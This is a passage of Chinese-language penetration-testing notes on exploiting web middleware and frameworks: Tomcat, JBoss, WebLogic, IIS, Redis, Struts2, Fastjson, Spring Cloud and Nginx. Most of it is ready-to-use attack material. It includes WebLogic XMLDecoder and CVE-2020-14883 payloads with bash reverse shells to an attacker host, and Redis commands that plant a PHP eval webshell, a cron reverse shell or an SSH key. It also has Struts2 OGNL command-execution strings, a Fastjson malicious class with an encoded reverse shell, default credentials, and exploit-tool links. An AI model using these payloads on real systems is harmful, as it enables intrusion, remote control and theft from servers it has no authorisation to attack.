进入后台后再 War file to deploy(war 文件部署) 上传 war 包 上传后 tomcat 会自动解压到 web 目录下,注意包名不要是 shell getshell 等,会被过滤的
- war 包制作 jar cvf pass.war pass.jsp
访问路径
- http://ip:8080/pass/pass.jsp
利用冰蝎进行连接
11.3 Jboss
Jboss反序列化
下载的工具进行检测 java -jar DeserializeExploit.jar
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
原理:Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器进行任何安全检查的情况下将来自客户端的数据流进行反序列化
访问地址:http://192.168.1.102:8080/ 及 http://192.168.1.102:8080/invoker/readonly 返回500说明漏洞存在
下载漏洞利用工具反弹shell: http://scan.javasec.cn/java/JavaDeserH2HC.zip
JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
原理:根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制
还是用工具反弹shell
JBoss远程部署漏洞
原理:后端未对用户可控参数做严格的过滤
危害:导致任意命令执行,入侵者可以利用此漏洞直接获取webshell,进而对整个服务器进行控制
11.4 Weblogic
反序列化
XML Decoder 反序列化漏洞 (CVE-2017-10271)
漏洞详情
- weblogic的WLS组件存在xmldecoder反序列化漏洞,直接post构造的xml数据包即可rce
影像版本
- 10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0
漏洞复现
可能存在漏洞的路径
- /wls-wsat/CoordinatorPortType,/wls-wsat/RegistrationPortTypeRPC, /wls-wsat/ParticipantPortType,/wls-wsat/RegistrationRequesterPortType, /wls-wsat/CoordinatorPortType11,/wls-wsat/RegistrationPortTypeRPC11, /wls-wsat/ParticipantPortType11,/wls-wsat/RegistrationRequesterPortType11
漏洞验证
- 访问上述路径 http://192.168.190.136:7001/wls-wsat/RegistrationRequesterPortType ,响应出现 Web Services证明存在该漏洞
POC
- POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1 Host: 192.168.190.136:7001 Content-Length: 841 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> # 命令执行 </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>bash -i >& /dev/tcp/192.168.190.1/4444 0>&1</string> # 反弹shell </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
Weblogic未授权访问-CVE-2020-14882 && 命令执行-CVE-2020-14883
漏洞详情
- 远程代码执行漏洞 (CVE-2020-14882)POC 已被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。
影响版本
- Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0
漏洞复现
未授权POC
- 直接访问 http://192.168.190.1:7001/console/images/%252E%252E%252Fconsole.portal 未授权访问后台
通过问未授权访问到管理后台页面,利用第二个命令执行漏洞(cve-2020-14883)
命令执行
方法一
一是通过 com.tangosol.coherence.mvel2.sh.ShellSession()
http://vlunip:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)
方法二
二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext() 反弹shell
http://vlunip:7001/console/images/%252E%252E%252F/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("[http://192.168.190.1:8000/linux.xml")
在攻击机上开启 http 服务,并在其目录下建立一个xml文件,文件内容如下
Linux shell
- <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/192.168.190.1/4444 0>&1]]></value> </list> </constructor-arg> </bean> </beans>
Windows shell
- <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>cmd</value> <value>/c</value> <value>whoami</value> </list> </constructor-arg> </bean> </beans>
nc监听4444端口
- nc -nvlp 4444
通过上面的请求访问 攻击机的 shell.xml 文件,即可反弹成功
SSRF 漏洞 (需要安装Weblogic时选择UDDI组件)
漏洞详情
- Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件
影响版本
- weblogic 版本10.0.2 10.3.6
漏洞复现
直接访问漏洞url http://192.168.190.136:7001/uddiexplorer/SearchPublicRegistries.jsp
填写表单,点击search,使用burp抓包,发送到重放模块,更改 operator 可以探测内网主机信息
测试172.22.0.11主机 返回 No route to host 表示主机不存在
尝试 http://172.22.0.2:7001 返回 ‘1’ addresses, but could not connect over HTTP to server: ‘172.22.0.2’, port: ‘7001’ 表示172.22.0.2主机存在,但是7001端口不存在
返回404表示7001端口开放
返回 Received a response from url 表示端口开发
如果上一步探测出了 6379 Redis 服务,可以尝试定时任务反弹shell
写入 Redis 脚本
- test set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.190.1/4444 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save aaa
将上述payload 进行 url编码
- operator=http://172.22.0.2:6379/test%0a%0aset%201%20%22%5cn%5cn%5cn%5cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.190.1%2f4444%200%3e%261%5cn%5cn%5cn%5cn%22%0aconfig%20set%20dir%20%2fetc%2f%0aconfig%20set%20dbfilename%20crontab%0asave%0a%0aaaa&rdoSearch=name&txtSearchname=1&txtSearchkey=2&txtSearchfor=3&selfor=Business+location&btnSubmit=Search
发送payload触发反弹shell连接 192.168.190.1:4444
漏洞修复
1. 将SearchPublicRegistries.jsp直接删除就好了
2. 删除 uddiexplorer 文件夹 限制 uddiexplorer 应用只能内网访问
弱口令
登录地址
- http://192.168.190.136:7001/console/login/LoginForm.jsp
weblogic/weblogic weblogic/Oracle@123
搭配文件上传getshell
一次选择部署-》安装-》上载文件
上传 qwerty.war包
依次点击下一步至完成部署安装
冰蝎连接 http://ip:port/qwerty/qwerty.jsp
漏洞修复
- 防火墙设置端口过滤,也可以设置只允许访问后台的IP列表,避免后台弱口令
11.5 IIS
PUT漏洞
漏洞成因
- IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成了任意文件上传
漏洞利用
- 使用DotNetSan进行ip段扫描
漏洞修复
- 关闭WebDAV和写入权限
短文件名猜解
漏洞成因
- 此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(〜)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
漏洞利用
- IIS的短文件名机制,可以暴力猜解文件名,访问构造的某个存在的短文件名,会返回404,访问构造的不存在的文件名,会返回400
漏洞修复
1. 升级 .net framework(框架)
2. 修改注册表禁用短文件名功能
解析漏洞
漏洞成因
IIS6.0 在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞,这一漏洞有两种不同的利用方式
/test.asp/test.jpg或test.asp:.jpg第一种的 test.asp 目录中的所有文件都会被当作asp 程序执行
第二种的后缀虽然是 .jpg 但是由于 特殊符号“;”的存在,仍会被IIS当作asp程序执行
漏洞修复
1. 对新建目录文件名进行过滤,不允许新建包含 “ . ” 的文件
2. 取消网站后台新建目录的权限,不允许新建目录
3. 限制上传的脚本执行权限,不允许执行脚本
4. 过滤 .asp/xm.jpg ,通过ISAPI组件过滤
15年(MS15-034)HTTP.sys 远程执行代码漏洞
漏洞详情
- 利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃
漏洞检测
- kali执行以下命令即可,返回(416 Requested Range Not Satisfiable)存在漏洞;返回(400 The request has an invalid header name),则不存在漏洞 curl http://192.168.80.130 -H “Host: 192.168.80.130” -H “Range: bytes=0-18446744073709551615”
漏洞利用
- MSF search ms15-034
漏洞修复
临时
- 禁用IIS内核缓存
补丁
11.6 Redis
redis 简介
- redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。 默认端口 6379
Redis未授权访问
漏洞详情
- Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。
前提条件
攻击机上能用redis-cli连接,知道物理路径,具有文件增删改查的权限
protected-mode是Redis3.2版本新增的安全配置项,开启后要求需要配置bind ip或者设置访问密码,关闭后是允许远程连接 (配置靶场时需注意,修改protected-mode为no,关闭保护模式,允许远程连接redis服务)
漏洞利用
写入一句话
1. 通过kali
redis-cli.exe -h ip地址 -p6378不接 -p 就是默认63792. 连入对方6379端口后依次执行下列命令 > config set dir /var/www/html # 设置待写入文件所在目录 > config set dbfilename shell.php > set webshell "\n\n\n<?php@eval($_POST['shell']);?>\n\n\n" > save
3. 直接连接 /shell.php 即可
定时任务反弹shell
1. kali建立一个监听端口
nc -lvnp 79992. 通过kali
redis-cli.exe -h ip地址 -p6379不接 -p 就是默认63793. 连入对方6379端口后依次执行下列命令 > set x "\n* * * * * bash -i >& /dev/tcp/攻击机IP/7999 0>1\n" # 设置反弹语句 > config set dir /var/spool/cron/ # 设置待写入文件目录,linux计划目录 > config set dbfilename root # 修改备份文件名为root,以root身份执行计划任务 > save
Redis 密钥登录 ssh
漏洞详情
- 在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key
前提条件
- redis对外开放,且是未授权访问状态,并且redis服务ssh对外开放,可以通过key登入
漏洞利用
1. 攻击机上创建ssh-rsa密钥,也就是生成key,这里密码搞成空,全部默认即可
- ssh-keygen -t rsa
2. 将公钥导入key.txt,这里将密钥开头和结尾添加了一些\n是用于防止乱码
- (echo -e "\n\n"; cat id rea.pub; echo -e "\n\n")>key.txt
3. 将生成的公钥写入靶机服务器的内存之中
cat key.txt | redis-cli -h 192.168.190.128 -x set xxx
// -x 代表从标准输入读取数据作为该命令的最后一个参数。
4. 成功写入后,设置路径和保存的文件名,将内存变量导入磁盘文件
config set dir /root/.ssh
- 这里报错的意思是靶机没有这个文件目录, 原因是.ssh 是记录密码信息的文件夹,如果没有用root用户登录过的话,就没有 .ssh 文件夹,所以我们在靶机上执行下面这条命令即可(也可以手动创建.ssh目录): > ssh localhost
config set dbfilename authorized_keys
save
5. 在攻击机这里用ssh连接靶机,可成功连接
ssh -i id_rsa root@192.168.190.128
或者
ssh 192.168.190.128
远程主从复制 RCE
漏洞原理
- 漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。 在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
漏洞影响
- 4.x、5.x
漏洞利用
redis-rogue-server工具下载地址:https://github.com/n0b0dyCN/redis-rogue-server
- 该工具无法对Redis密码进行Redis认证,也就是说该工具只适合目标存在Redis未授权访问漏洞时使用。如果存在密码可以使用下面这个工具。
Awsome-Redis-Rogue-Server工具下载地址:https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
1. 执行反弹
- python3 redis-rogue-server.py -rhost 192.168.190.129 -lhost 192.168.190.128
2. 选择交互式的shell(interactive shell) 或者反弹shell(reserve shell),这里选择的是交互式 "i"
这部分的缺点就是只适用于目标机器允许远程登录的时候,如果目标机子只允许本地登录,则这种利用方法就不行了,此时可以配合其他漏洞,从目标本地登录redis。
本地Redis主从复制RCE反弹shell
漏洞原理
- 对于只允许本地连接的Redis服务器,可以通过开启主从模式从远程主机上同步恶意.so文件至本地,接着载入恶意.so文件模块,反弹shell至远程主机
漏洞利用
1. 这里将redis-rogue-server-master的exp.so复制到Awsome-Redis-Rogue-Server的目录下使用,因为exp.so带system模块
2. kali开启监听,接受会话的反弹
- nc -lvnp 1234
3. 开启15000端口的主服务器
- python3 redis_rogue_server.py -v -path exp.so -v #冗余模式,仅启动Rouge Server模式
4. 靶机本机登录redis开启主从模式
- redis-cli
5. 查看是否存在模块,可以看见目前没有可用模块
module list
config set dir /tmp
//一般tmp目录都有写权限,所以选择这个目录写入
config set dbfilename exp.so
//设置导出文件的名字
slaveof 192.168.190.128 15000
//进行主从同步,将恶意so文件写入到tmp目录
*
module load ./exp.so
//加载写入的恶意so文件模块
module list
//查看恶意so有没有加载成功,主要看有没有“system”
6. 反弹shel
- system.rev 192.168.190.128 1234
7. 关闭主从复制
- slaveof NO ONE
后续研究
安全防护
redis的安全设置:设置完毕,需要重加载配置文件启动redis
1.绑定内网ip地址进行访问
2.requirepass设置redis密码
3.保护模式开启protected-mode开启(默认开启)
4.最好把端口更改
5.单独为redis设置一个普通账号,启动redis。
11.7 Struts2
S2-001 命令执行
漏洞详情
- 该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。 如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。
漏洞检测
- 在登录的地方输入 '%{1+1}' 如果登录识别后那个地方变成了 '2' 说明存在命令执行漏洞
漏洞利用
获取web路径,payload 见后方展开
- %{ #req=@org.apache.struts2.ServletActionContext@getRequest(), #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(), #response.println(#req.getRealPath('/')), #response.flush(), #response.close() }
命令执行 whoami,payload 见后方展开
- %{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
命令执行 cat /etc/passwd,payload 见后方展开
- %{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }
S2-005 命令执行
漏洞详情
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制 对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
总结
- Struts2处理用户请求时,会调用拦截器处理ParametersInterceptor.setParameters装载参数.其中在执行数据栈加载时会对传入的参数name正则判断是否存在非法字符. 之后执行stack.setValue(name, value)进一步解析name值.依次解析传入的表达式造成注入
漏洞利用
- 一般是看到有 .action 结尾的路径存在的话,就把 URL 拉到 Struts2全版本漏洞检测工具里边测一下,那个工具的话就可以自动扫描漏洞是否存在,也能执行 命令执行、上传文件这些功能、目录浏览
s2-007 命令执行
漏洞利用
在存在输入的地方输入 '+(1+1)+',提交之后变为 '11' 则存在漏洞
命令执行
在输入的地方输入payload即可,payload 见后方展开
- ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
s2-008
漏洞详情
- 主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码,传入?debug=command&expression=即可执行OGNL表达式
漏洞利用
任意文件覆盖,payload 见后方展开
- 任意文件覆盖 //利用方式尚且未知 exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]
远程命令执行,payload 见后方展开
- 远程执行命令 debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
查询 ipconfig,payload 见后方展开
- debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ipconfig%27%29.getInputStream%28%29%29)
11.8 Fastjson
如何判断是否是 fastjson 呢
抓包看如果是json请求,可以尝试构造或破坏原有的 json 请求,从返回包里看是否有 fastjson 字样。 因为fastjson有一个严格的格式才能解析,否则会报错 如果没有报错回显,可以使用 dnslog 进行验证
可以通过后面的 payload 判断 fastjson 的版本信息
- Set[ { "@type":"java.net.URL", "val":"http://dnslog" } ]
使用 dnslog 验证
- { "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://dnslog.cn/zcc", "autoCommit":true } }
反序列化
漏洞详情
- 漏洞利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。 攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大影响
漏洞前提
目标服务器存在 fastjson
没有对用户传输的数据进行严格过滤
漏洞利用
开启抓包确定是不是fastjson框架,通过修改请求包判断是否是fastjson框架 ,因为fastjson有一个严格的格式才能解析,否则会报错
准备一个恶意的类 rmi.class,文件内容见后方展开 使用javac编译 rmi.java文件 生成一个类文件 javac rmi.java
- import java.lang.Runtime; import java.lang.Process; public class rmi{ static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjE3MC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } //YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjE3MC82NjY2IDA+JjE= 这个是监听主机的ip地址和端口号
将类文件放到监听的服务器上,使用工具运行 rmi 文件 payload 见后方展开
- payload:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.44.170/#rmi" 9999
修改数据包中的 post 请求主体
- {"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.44.170:9999/rmi.class", "autoCommit":true}}
进行端口监听 nc -nvlp 6666
放包即可反弹成功
11.9 Spring Cloud
Spring Cloud 简介
Spring Cloud 是一个基于 Spring boot 的开发框架,用于构建和部署分布式系统的解决方案
Spring Cloud 是一个基于 Spring Boot 的开发框架,用于构建和部署分布式系统的解决方案。它提供了一组工具和框架,帮助开发人员快速构建云原生应用程序,并提供强大的服务治理、负载均衡、路由、配置管理等功能。Spring Cloud 能够简化微服务的开发和部署,提高开发效率和软件质量。
SpEL 远程代码执行漏洞(2022)
漏洞详情
- 当使用路由功能时,用户可以提供特制的SpEL作为路由表达式,这可能导致远程执行代码和访问本地资源
漏洞原理
- Spring Cloud 中的 RoutingFunction 类的 apply 方法,将请求头中的 "spring.cloud.function.routiong-expression" 参数作为 SpEL 表达式进行了处理,造成 SpEL 表达式注入,攻击者可以通过调用 runtime().getRuntime()方法执行系统命令,造成远程代码执行或信息泄露
影响版本
- 3.0.0 <= Spring Cloud Function <= 3.2.2
漏洞利用
抓取数据包
将数据包修改为 POST /functionRuntime,并添加请求头 spring.cloud.function.routiong-expression,在其中添加java代码即可,注意执行 反弹 shell 的时候需要将其base64 编码,否则不能成功,实例 payload 见后方展开
- POST /functionRuntime HTTP/1.1 HOST: User-Agent: spring.cloud.function.routiong-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,bash -i &> /dev/tcp/ip/port 0>&1}|{base64,-d}|{bash -i}") 注意:其中的bash -i &> /dev/tcp/ip/port 0>&1 需要base64 编码后上传
漏洞修复
升级到最新版本的 Spring 框架
避免在应用程序中使用 SpEL 表达式或限制其使用。 尽可能使用静态绑定的方式去完成相应功能。
对于需要使用 SpEL 的场景,应该对输入进行严格检查和过滤,只接受规范的、可预测的输入。 在构造 SpEL 表达式时,不应直接将用户输入用作表达式的一部分,应该对输入进行严格验证和编码,以防止注入攻击。
禁用所有不必要的 SpEL 特性并限制 SpEL 允许的操作
11.10 Nginx 解析漏洞
原因
Nginx 配置 fastcgi 使用PHP时,会存在文件解析问题
出现这个漏洞的原因与 "在 fastcgi 方式下,PHP 获取环境变量的方式有关" PHP 的配置文件中有一个关键选项:cgi.fix_pathinfo = 1,默认是开启的。在映射URI时,将递归查询路径确认文件的合法性,notexist.php 不存在时,将往前递归查询路径,这个功能原本是想解决 /info.php/test 这种 URL 能够正确解析到 info.php 上,此时 SCRIPT_FILENAME 需要检查文件是否存在,所以会是 /path/test.jpg ;而 PATH_INFO 此时还是 notexist.php,在最终执行的时候,test.jpg 会被当作 PHP 进行解析。
当php遇到文件路径“/aaa.xxx/bbb.yyy/ccc.zzz" 时,若"/aaa.xxx/bbb.yyy/ccc.zzz" 不存在,则会去掉最后的“/ccc.zzz”,然后判断"/aaa.xxx/bbb.yyy”是否存在,若存在,则把“/aaa.xxx/bbb.yyy”当做文件“/aaa.xxx/bbb.yyy/ccc.zzz”
payload
http://www.test.com/path/test.jpg/notexist.php
其中 notexist.php 并不存在,如果在任何配置为 fastcgi 的PHP 应用里上传一张图片,其图片内容是 PHP 文件,则会导致代码执行。其他可以上传的合法文件如文本文件、压缩文件等情况类似